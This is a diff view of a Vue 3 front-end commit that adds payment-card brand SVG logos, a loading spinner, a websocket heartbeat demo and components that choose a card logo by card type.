<?xml version="1.0" ?><svg viewBox="0 0 48 48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><style>.cls-1{fill:url(#linear-gradient);}.cls-2{fill:#a5a4a4;}.cls-3{fill:#333;}.cls-4{fill:#e6e6e6;}.cls-5{fill:gray;}.cls-6{fill:url(#linear-gradient-2);}.cls-7{fill:url(#linear-gradient-3);}.cls-8{fill:#fff;}</style><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient" x1="22.04" x2="22.04" y1="12.76" y2="39.8"><stop offset="0" stop-color="#e6e6e6"/><stop offset="1" stop-color="#bababa"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-2" x1="35.54" x2="35.54" y1="11.27" y2="20.1"><stop offset="0" stop-color="#00bde8"/><stop offset="1" stop-color="#009dc1"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-3" x1="35.54" x2="35.54" y1="12" y2="19.67"><stop offset="0" stop-color="#00cfff"/><stop offset="1" stop-color="#00afd6"/></linearGradient></defs><title/><g id="icons"><g data-name="Layer 3" id="Layer_3"><rect class="cls-1" height="26" rx="5" ry="5" width="35" x="4.54" y="12.81"/><path class="cls-2" d="M35.54,11.19a7.63,7.63,0,1,0,4,14.1V12.34A7.54,7.54,0,0,0,35.54,11.19Z"/><rect class="cls-3" height="4" width="35" x="4.54" y="19.81"/><rect class="cls-4" height="2" width="8" x="8.54" y="32.81"/><rect class="cls-4" height="2" width="6" x="19.54" y="32.81"/><rect class="cls-4" height="2" width="7" x="28.54" y="32.81"/><rect class="cls-5" height="2" width="8" x="8.54" y="31.81"/><rect class="cls-5" height="2" width="6" x="19.54" y="31.81"/><rect class="cls-5" height="2" width="7" x="28.54" y="31.81"/><path class="cls-6" d="M43.17,16.81a7.63,7.63,0,1,1-7.63-7.62A7.64,7.64,0,0,1,43.17,16.81Z"/><path class="cls-7" d="M35.54,23.44a6.63,6.63,0,1,1,6.63-6.63,6.63,6.63,0,0,1-6.63,6.63Z"/><path class="cls-8" d="M38,16.58V14.85a2.25,2.25,0,0,0-2.25-2.25h-.34a2.25,2.25,0,0,0-2.25,2.25v1.73H31.79V21H39.3V16.58Zm-1,0H34.12V14.85a1.25,1.25,0,0,1,1.25-1.25h.34A1.25,1.25,0,0,1,37,14.85Z"/></g></g></svg>

After

Width:  |  Height:  |  Size: 2.0 KiB

View File

@@ -0,0 +1 @@
<svg width="24" height="24" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" fill="#6d6e78" role="img" aria-labelledby="cvcDesc"><path opacity=".2" fill-rule="evenodd" clip-rule="evenodd" d="M15.337 4A5.493 5.493 0 0013 8.5c0 1.33.472 2.55 1.257 3.5H4a1 1 0 00-1 1v1a1 1 0 001 1h16a1 1 0 001-1v-.6a5.526 5.526 0 002-1.737V18a2 2 0 01-2 2H3a2 2 0 01-2-2V6a2 2 0 012-2h12.337zm6.707.293c.239.202.46.424.662.663a2.01 2.01 0 00-.662-.663z"></path><path opacity=".4" fill-rule="evenodd" clip-rule="evenodd" d="M13.6 6a5.477 5.477 0 00-.578 3H1V6h12.6z"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M18.5 14a5.5 5.5 0 110-11 5.5 5.5 0 010 11zm-2.184-7.779h-.621l-1.516.77v.786l1.202-.628v3.63h.943V6.22h-.008zm1.807.629c.448 0 .762.251.762.613 0 .393-.37.668-.904.668h-.235v.668h.283c.565 0 .95.282.95.691 0 .393-.377.66-.911.66-.393 0-.786-.126-1.194-.37v.786c.44.189.88.291 1.312.291 1.029 0 1.736-.526 1.736-1.288 0-.535-.33-.967-.88-1.14.472-.157.778-.573.778-1.045 0-.738-.652-1.241-1.595-1.241a3.143 3.143 0 00-1.234.267v.77c.378-.212.763-.33 1.132-.33zm3.394 1.713c.574 0 .974.338.974.778 0 .463-.4.785-.974.785-.346 0-.707-.11-1.076-.337v.809c.385.173.778.26 1.163.26.204 0 .392-.032.573-.08a4.313 4.313 0 00.644-2.262l-.015-.33a1.807 1.807 0 00-.967-.252 3 3 0 00-.448.032V6.944h1.132a4.423 4.423 0 00-.362-.723h-1.587v2.475a3.9 3.9 0 01.943-.133z"></path></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><linearGradient id="a" gradientTransform="matrix(132.87 0 0 323.02 -120270 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#007b40"/><stop offset="1" stop-color="#55b330"/></linearGradient><linearGradient id="b" gradientTransform="matrix(133.43 0 0 323.02 -121080 -100920)" gradientUnits="userSpaceOnUse" x1="908.73" x2="909.73" y1="313.21" y2="313.21"><stop offset="0" stop-color="#1d2970"/><stop offset="1" stop-color="#006dba"/></linearGradient><linearGradient id="c" gradientTransform="matrix(132.96 0 0 323.03 -120500 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#6e2b2f"/><stop offset="1" stop-color="#e30138"/></linearGradient><path d="m632.24 361.27c0 41.615-33.729 75.36-75.357 75.36h-409.13v-297.88c0-41.626 33.73-75.371 75.364-75.371h409.12l-.001 297.89z" fill="#fff"/><path d="m498.86 256.54c11.686.254 23.438-.516 35.077.4 11.787 2.199 14.628 20.043 4.156 25.887-7.145 3.85-15.633 1.434-23.379 2.113h-15.854zm41.834-32.145c2.596 9.164-6.238 17.392-15.064 16.13h-26.77c.188-8.642-.367-18.022.272-26.209 10.724.302 21.547-.616 32.209.48 4.581 1.151 8.415 4.917 9.353 9.599zm64.425-135.9c.498 17.501.072 35.927.215 53.783-.033 72.596.07 145.19-.057 217.79-.47 27.207-24.582 50.848-51.601 51.391-27.045.11-54.094.017-81.143.047v-109.75c29.471-.152 58.957.309 88.416-.23 13.666-.858 28.635-9.875 29.271-24.914 1.609-15.104-12.631-25.551-26.151-27.201-5.197-.135-5.045-1.515 0-2.117 12.895-2.787 23.021-16.133 19.227-29.499-3.233-14.058-18.771-19.499-31.695-19.472-26.352-.179-52.709-.025-79.062-.077.17-20.489-.355-41 .283-61.474 2.088-26.716 26.807-48.748 53.446-48.27 26.287-.004 52.57-.004 78.851-.005z" fill="url(#a)"/><path d="m174.74 139.54c.673-27.164 24.888-50.611 51.872-51.008 26.945-.083 53.894-.012 80.839-.036-.074 90.885.146 181.78-.111 272.66-1.038 26.834-24.989 49.834-51.679 50.309-26.996.098-53.995.014-80.992.041v-113.45c26.223 6.195 53.722 8.832 80.474 4.723 15.991-2.573 33.487-10.426 38.901-27.016 3.984-14.191 1.741-29.126 2.334-43.691v-33.825h-46.297c-.208 22.371.426 44.781-.335 67.125-1.248 13.734-14.849 22.46-27.802 21.994-16.064.17-47.897-11.642-47.897-11.642-.08-41.914.466-94.405.693-136.18z" fill="url(#b)"/><path d="m324.72 211.89c-2.437.517-.49-8.301-1.113-11.646.166-21.15-.347-42.323.283-63.458 2.082-26.829 26.991-48.916 53.738-48.288h78.768c-.074 90.885.145 181.78-.111 272.66-1.039 26.834-24.992 49.833-51.683 50.309-26.997.102-53.997.016-80.996.042v-124.3c18.439 15.129 43.5 17.484 66.472 17.525 17.318-.006 34.535-2.676 51.353-6.67v-22.772c-18.953 9.446-41.233 15.446-62.243 10.019-14.656-3.648-25.295-17.812-25.058-32.937-1.698-15.729 7.522-32.335 22.979-37.011 19.191-6.008 40.107-1.413 58.096 6.398 3.854 2.018 7.766 4.521 6.225-1.921v-17.899c-30.086-7.158-62.104-9.792-92.33-2.005-8.749 2.468-17.273 6.211-24.38 11.956z" fill="url(#c)"/></svg>

After

Width:  |  Height:  |  Size: 3.0 KiB

View File

@@ -0,0 +1 @@
<?xml version="1.0" ?><!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'><svg enable-background="new 0 0 48 48" height="48px" id="Layer_1" version="1.1" viewBox="0 0 48 48" width="48px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><path clip-rule="evenodd" d="M46,44.438H2c-0.553,0-1-0.447-1-1s0.447-1,1-1h44c0.553,0,1,0.447,1,1 S46.553,44.438,46,44.438z M16,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1H8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13H8 c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H16z M13,21.438h-2v13h2V21.438z M28,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1 c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H28z M25,21.438h-2v13h2V21.438z M44,39.438 c0,0.553-0.447,1-1,1H5c-0.553,0-1-0.447-1-1s0.447-1,1-1h38C43.553,38.438,44,38.885,44,39.438z M40,34.438c0.553,0,1,0.447,1,1 s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1 c0,0.553-0.447,1-1,1h-1v13H40z M37,21.438h-2v13h2V21.438z M3,15.438L24,4l21,11.438v2H3V15.438z M40.541,15.438L24,6.886 L7.396,15.438H40.541z" fill-rule="evenodd"/></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

View File

@@ -0,0 +1,60 @@
<?xml version="1.0" encoding="utf-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin: auto; background: rgb(255, 255, 255); display: block; shape-rendering: auto;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
<g transform="translate(80,50)">
<g transform="rotate(0)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="1">
<animateTransform attributeName="transform" type="scale" begin="-0.875s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.875s"></animate>
</circle>
</g>
</g><g transform="translate(71.21320343559643,71.21320343559643)">
<g transform="rotate(45)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.875">
<animateTransform attributeName="transform" type="scale" begin="-0.75s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.75s"></animate>
</circle>
</g>
</g><g transform="translate(50,80)">
<g transform="rotate(90)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.75">
<animateTransform attributeName="transform" type="scale" begin="-0.625s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.625s"></animate>
</circle>
</g>
</g><g transform="translate(28.786796564403577,71.21320343559643)">
<g transform="rotate(135)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.625">
<animateTransform attributeName="transform" type="scale" begin="-0.5s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.5s"></animate>
</circle>
</g>
</g><g transform="translate(20,50.00000000000001)">
<g transform="rotate(180)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.5">
<animateTransform attributeName="transform" type="scale" begin="-0.375s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.375s"></animate>
</circle>
</g>
</g><g transform="translate(28.78679656440357,28.786796564403577)">
<g transform="rotate(225)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.375">
<animateTransform attributeName="transform" type="scale" begin="-0.25s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.25s"></animate>
</circle>
</g>
</g><g transform="translate(49.99999999999999,20)">
<g transform="rotate(270)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.25">
<animateTransform attributeName="transform" type="scale" begin="-0.125s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.125s"></animate>
</circle>
</g>
</g><g transform="translate(71.21320343559643,28.78679656440357)">
<g transform="rotate(315)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.125">
<animateTransform attributeName="transform" type="scale" begin="0s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="0s"></animate>
</circle>
</g>
</g>
<!-- [ldio] generated by https://loading.io/ --></svg>

After

Width:  |  Height:  |  Size: 3.9 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m293.2 348.73 33.359-195.76h53.358l-33.384 195.76zm246.11-191.54c-10.569-3.966-27.135-8.222-47.821-8.222-52.726 0-89.863 26.551-90.181 64.604-.297 28.129 26.515 43.822 46.754 53.185 20.771 9.598 27.752 15.716 27.652 24.283-.133 13.123-16.586 19.115-31.924 19.115-21.355 0-32.701-2.967-50.225-10.273l-6.878-3.111-7.487 43.822c12.463 5.467 35.508 10.199 59.438 10.445 56.09 0 92.502-26.248 92.916-66.885.199-22.27-14.016-39.215-44.801-53.188-18.65-9.056-30.072-15.099-29.951-24.269 0-8.137 9.668-16.838 30.56-16.838 17.446-.271 30.088 3.534 39.936 7.5l4.781 2.259zm137.31-4.223h-41.23c-12.772 0-22.332 3.486-27.94 16.234l-79.245 179.4h56.031s9.159-24.121 11.231-29.418c6.123 0 60.555.084 68.336.084 1.596 6.854 6.492 29.334 6.492 29.334h49.512l-43.187-195.64zm-65.417 126.41c4.414-11.279 21.26-54.724 21.26-54.724-.314.521 4.381-11.334 7.074-18.684l3.606 16.878s10.217 46.729 12.353 56.527h-44.293zm-363.3-126.41-52.239 133.5-5.565-27.129c-9.726-31.274-40.025-65.157-73.898-82.12l47.767 171.2 56.455-.063 84.004-195.39-56.524-.001" fill="#0e4595"/><path d="m146.92 152.96h-86.041l-.682 4.073c66.939 16.204 111.23 55.363 129.62 102.42l-18.709-89.96c-3.229-12.396-12.597-16.096-24.186-16.528" fill="#f2ae14"/></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 6.8 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 .001h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#2557d6"/><path d="m.253 235.69h37.441l8.442-19.51h18.9l8.42 19.51h73.668v-14.915l6.576 14.98h38.243l6.576-15.202v15.138h183.08l-.085-32.026h3.542c2.479.083 3.204.302 3.204 4.226v27.8h94.689v-7.455c7.639 3.92 19.518 7.455 35.148 7.455h39.836l8.525-19.51h18.9l8.337 19.51h76.765v-18.532l11.626 18.532h61.515v-122.51h-60.88v14.468l-8.522-14.468h-62.471v14.468l-7.828-14.468h-84.38c-14.123 0-26.539 1.889-36.569 7.153v-7.153h-58.229v7.153c-6.383-5.426-15.079-7.153-24.75-7.153h-212.74l-14.274 31.641-14.659-31.641h-67.005v14.468l-7.362-14.468h-57.145l-26.539 58.246v64.261h.003zm236.34-17.67h-22.464l-.083-68.794-31.775 68.793h-19.24l-31.858-68.854v68.854h-44.57l-8.42-19.592h-45.627l-8.505 19.592h-23.801l39.241-87.837h32.559l37.269 83.164v-83.164h35.766l28.678 59.587 26.344-59.587h36.485zm-165.9-37.823-14.998-35.017-14.915 35.017zm255.3 37.821h-73.203v-87.837h73.203v18.291h-51.289v15.833h50.06v18.005h-50.061v17.542h51.289zm103.16-64.18c0 14.004-9.755 21.24-15.439 23.412 4.794 1.748 8.891 4.838 10.84 7.397 3.094 4.369 3.628 8.271 3.628 16.116v17.255h-22.104l-.083-11.077c0-5.285.528-12.886-3.458-17.112-3.202-3.09-8.083-3.76-15.973-3.76h-23.523v31.95h-21.914v-87.838h50.401c11.199 0 19.451.283 26.535 4.207 6.933 3.924 11.09 9.652 11.09 19.45zm-27.699 13.042c-3.013 1.752-6.573 1.81-10.841 1.81h-26.62v-19.51h26.982c3.818 0 7.804.164 10.393 1.584 2.842 1.28 4.601 4.003 4.601 7.765 0 3.84-1.674 6.929-4.515 8.351zm62.844 51.138h-22.358v-87.837h22.358zm259.56 0h-31.053l-41.535-65.927v65.927h-44.628l-8.527-19.592h-45.521l-8.271 19.592h-25.648c-10.649 0-24.138-2.257-31.773-9.715-7.701-7.458-11.708-17.56-11.708-33.533 0-13.027 2.395-24.936 11.812-34.347 7.085-7.01 18.18-10.242 33.28-10.242h21.215v18.821h-20.771c-7.997 0-12.514 1.14-16.862 5.203-3.735 3.699-6.298 10.69-6.298 19.897 0 9.41 1.951 16.196 6.023 20.628 3.373 3.476 9.506 4.53 15.272 4.53h9.842l30.884-69.076h32.835l37.102 83.081v-83.08h33.366l38.519 61.174v-61.174h22.445zm-133.2-37.82-15.165-35.017-15.081 35.017zm189.04 178.08c-5.322 7.457-15.694 11.238-29.736 11.238h-42.319v-18.84h42.147c4.181 0 7.106-.527 8.868-2.175 1.665-1.474 2.605-3.554 2.591-5.729 0-2.561-1.064-4.593-2.677-5.811-1.59-1.342-3.904-1.95-7.722-1.95-20.574-.67-46.244.608-46.244-27.194 0-12.742 8.443-26.156 31.439-26.156h43.649v-17.479h-40.557c-12.237 0-21.129 2.81-27.425 7.174v-7.175h-59.985c-9.595 0-20.854 2.279-26.179 7.175v-7.175h-107.12v7.175c-8.524-5.892-22.908-7.175-29.549-7.175h-70.656v7.175c-6.745-6.258-21.742-7.175-30.886-7.175h-79.077l-18.094 18.764-16.949-18.764h-118.13v122.59h115.9l18.646-19.062 17.565 19.062 71.442.061v-28.838h7.021c9.479.14 20.66-.228 30.523-4.312v33.085h58.928v-31.952h2.842c3.628 0 3.985.144 3.985 3.615v28.333h179.01c11.364 0 23.244-2.786 29.824-7.845v7.845h56.78c11.815 0 23.354-1.587 32.134-5.649l.002-22.84zm-354.94-47.155c0 24.406-19.005 29.445-38.159 29.445h-27.343v29.469h-42.591l-26.984-29.086-28.042 29.086h-86.802v-87.859h88.135l26.961 28.799 27.875-28.799h70.021c17.389 0 36.929 4.613 36.929 28.945zm-174.22 40.434h-53.878v-17.48h48.11v-17.926h-48.11v-15.974h54.939l23.969 25.604zm86.81 10.06-33.644-35.789 33.644-34.65zm49.757-39.066h-28.318v-22.374h28.572c7.912 0 13.404 3.09 13.404 10.772 0 7.599-5.238 11.602-13.658 11.602zm148.36-40.373h73.138v18.17h-51.315v15.973h50.062v17.926h-50.062v17.48l51.314.08v18.23h-73.139zm-28.119 47.029c4.878 1.725 8.865 4.816 10.734 7.375 3.095 4.291 3.542 8.294 3.631 16.037v17.418h-22.002v-10.992c0-5.286.531-13.112-3.542-17.198-3.201-3.147-8.083-3.899-16.076-3.899h-23.42v32.09h-22.02v-87.859h50.594c11.093 0 19.173.47 26.366 4.146 6.915 4.004 11.266 9.487 11.266 19.511-.001 14.022-9.764 21.178-15.531 23.371zm-12.385-11.107c-2.932 1.667-6.556 1.811-10.818 1.811h-26.622v-19.732h26.982c3.902 0 7.807.08 10.458 1.587 2.84 1.423 4.538 4.146 4.538 7.903 0 3.758-1.699 6.786-4.538 8.431zm197.82 5.597c4.27 4.229 6.554 9.571 6.554 18.613 0 18.9-12.322 27.723-34.425 27.723h-42.68v-18.84h42.51c4.157 0 7.104-.525 8.95-2.175 1.508-1.358 2.589-3.333 2.589-5.729 0-2.561-1.17-4.592-2.675-5.811-1.675-1.34-3.986-1.949-7.803-1.949-20.493-.67-46.157.609-46.157-27.192 0-12.744 8.355-26.158 31.33-26.158h43.932v18.7h-40.198c-3.984 0-6.575.145-8.779 1.587-2.4 1.422-3.29 3.534-3.29 6.319 0 3.314 2.037 5.57 4.795 6.546 2.311.77 4.795.995 8.526.995l11.797.306c11.895.276 20.061 2.248 25.024 7.065zm86.955-23.52h-39.938c-3.986 0-6.638.144-8.867 1.587-2.312 1.423-3.202 3.534-3.202 6.322 0 3.314 1.951 5.568 4.791 6.544 2.312.771 4.795.996 8.444.996l11.878.304c11.983.284 19.982 2.258 24.86 7.072.891.67 1.422 1.422 2.033 2.175v-25z" fill="#fff"/></svg>

After

Width:  |  Height:  |  Size: 4.7 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.3 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.3 KiB

View File

@@ -0,0 +1 @@
<svg xmlns='http://www.w3.org/2000/svg' width='750' height='500' fill='none' viewBox='0 0 27 18'><path fill='#E6E9EB' d='M0 3a3 3 0 0 1 3-3h21a3 3 0 0 1 3 3v12a3 3 0 0 1-3 3H3a3 3 0 0 1-3-3V3z'/><path fill='#B9C4C9' d='M4 12h19v2H4z'/><rect width='4' height='4' x='4' y='4' fill='#fff' rx='1'/></svg>

After

Width:  |  Height:  |  Size: 300 B

View File

@@ -0,0 +1 @@
<svg height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><g fill-rule="evenodd"><path d="m54.992 0c-30.365 0-54.992 24.63-54.992 55.004v390.992c0 30.38 24.619 55.004 54.992 55.004h670.016c30.365 0 54.992-24.63 54.992-55.004v-390.992c0-30.38-24.619-55.004-54.992-55.004z" fill="#4d4d4d"/><path d="m327.152 161.893c8.837 0 16.248 1.784 25.268 6.09v22.751c-8.544-7.863-15.955-11.154-25.756-11.154-19.264 0-34.414 15.015-34.414 34.05 0 20.075 14.681 34.196 35.37 34.196 9.312 0 16.586-3.12 24.8-10.857v22.763c-9.341 4.14-16.911 5.776-25.756 5.776-31.278 0-55.582-22.596-55.582-51.737 0-28.826 24.951-51.878 56.07-51.878zm-97.113.627c11.546 0 22.11 3.72 30.943 10.994l-10.748 13.248c-5.35-5.646-10.41-8.028-16.564-8.028-8.853 0-15.3 4.745-15.3 10.989 0 5.354 3.619 8.188 15.944 12.482 23.365 8.044 30.29 15.176 30.29 30.926 0 19.193-14.976 32.553-36.32 32.553-15.63 0-26.994-5.795-36.458-18.872l13.268-12.03c4.73 8.61 12.622 13.222 22.42 13.222 9.163 0 15.947-5.952 15.947-13.984 0-4.164-2.055-7.734-6.158-10.258-2.066-1.195-6.158-2.977-14.2-5.647-19.291-6.538-25.91-13.527-25.91-27.185 0-16.225 14.214-28.41 32.846-28.41zm234.723 1.728h22.437l28.084 66.592 28.446-66.592h22.267l-45.494 101.686h-11.053zm-397.348.152h30.15c33.312 0 56.534 20.382 56.534 49.641 0 14.59-7.104 28.696-19.118 38.057-10.108 7.901-21.626 11.445-37.574 11.445h-29.992zm96.135 0h20.54v99.143h-20.54zm411.734 0h58.252v16.8h-37.725v22.005h36.336v16.791h-36.336v26.762h37.726v16.785h-58.252v-99.143zm71.858 0h30.455c23.69 0 37.265 10.71 37.265 29.272 0 15.18-8.514 25.14-23.986 28.105l33.148 41.766h-25.26l-28.429-39.828h-2.678v39.828h-20.515zm20.515 15.616v30.025h6.002c13.117 0 20.069-5.362 20.069-15.328 0-9.648-6.954-14.697-19.745-14.697zm-579.716 1.183v65.559h5.512c13.273 0 21.656-2.394 28.11-7.88 7.103-5.955 11.376-15.465 11.376-24.98 0-9.499-4.273-18.725-11.376-24.681-6.785-5.78-14.837-8.018-28.11-8.018z" fill="#fff"/><path d="m415.13 161.21c30.941 0 56.022 23.58 56.022 52.709v.033c0 29.13-25.081 52.742-56.021 52.742s-56.022-23.613-56.022-52.742v-.033c0-29.13 25.082-52.71 56.022-52.71zm364.85 127.15c-26.05 18.33-221.08 149.34-558.75 212.62h503.76c30.365 0 54.992-24.63 54.992-55.004v-157.62z" fill="#f47216"/></g></svg>

After

Width:  |  Height:  |  Size: 2.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 163 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 133 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 259 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 260 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 261 KiB

Binary file not shown.

View File

View File

@@ -0,0 +1,58 @@
<template>
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="height: 60%;width: 60px;" />
</template>
<script lang="ts">
import { defineComponent, computed } from "vue";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
export default defineComponent({
name: "CardLogo",
props: {
cardType: {
type: String,
required: true,
},
},
setup(props) {
const logoSrc = computed(() => {
const cardTypeUpper = props.cardType.toLocaleUpperCase();
if (cardTypeUpper.includes("VISA")) {
return c1;
} else if (cardTypeUpper.includes("MASTERCARD")) {
return c2;
} else if (cardTypeUpper.includes("JCB")) {
return c3;
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
return c4;
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
return c5;
} else if (cardTypeUpper.includes("DISCOVER")) {
return c6;
} else if (cardTypeUpper.includes("MAESTRO")) {
return c7;
} else if (cardTypeUpper.includes("DINNERS")) {
return c8;
}
// 你可以添加更多的卡类型和对应的图片
return null; // 如果没有匹配的卡类型,则不显示图片
});
return {
logoSrc,
};
},
});
</script>
<style scoped>
/* 可以在这里添加样式 */
</style>

View File

@@ -0,0 +1,58 @@
<template>
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="width: 100%" />
</template>
<script lang="ts">
import { defineComponent, computed } from "vue";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
export default defineComponent({
name: "CardLogo",
props: {
cardType: {
type: String,
required: true,
},
},
setup(props) {
const logoSrc = computed(() => {
const cardTypeUpper = props.cardType.toLocaleUpperCase();
if (cardTypeUpper.includes("VISA")) {
return c1;
} else if (cardTypeUpper.includes("MASTERCARD")) {
return c2;
} else if (cardTypeUpper.includes("JCB")) {
return c3;
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
return c4;
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
return c5;
} else if (cardTypeUpper.includes("DISCOVER")) {
return c6;
} else if (cardTypeUpper.includes("MAESTRO")) {
return c7;
} else if (cardTypeUpper.includes("DINNERS")) {
return c8;
}
// 你可以添加更多的卡类型和对应的图片
return null; // 如果没有匹配的卡类型,则不显示图片
});
return {
logoSrc,
};
},
});
</script>
<style scoped>
/* 可以在这里添加样式 */
</style>

View File

@@ -0,0 +1,51 @@
<script setup lang="ts">
import { myWebSocket } from "@/utils/common";
defineProps<{
msg: string;
}>();
const sendMsg = () => {
myWebSocket?.send(
JSON.stringify({ event: "heartbeat", content: { userId: "haha" } })
);
};
</script>
<template>
<div class="greetings">
<h1 class="green">{{ msg }}</h1>
<button @click="sendMsg">Send</button>/
<h3>
Youve successfully created a project with
<a href="https://vitejs.dev/" target="_blank" rel="noopener">Vite</a> +
<a href="https://vuejs.org/" target="_blank" rel="noopener">Vue 3</a>.
What's next?
</h3>
</div>
</template>
<style scoped>
h1 {
font-weight: 500;
font-size: 2.6rem;
top: -10px;
}
h3 {
font-size: 1.2rem;
}
.greetings h1,
.greetings h3 {
text-align: center;
}
@media (min-width: 1024px) {
.greetings h1,
.greetings h3 {
text-align: left;
}
}
</style>

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,223 @@
<script setup lang="ts">
import { computed, watch } from 'vue';
import { useI18n } from "vue-i18n";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
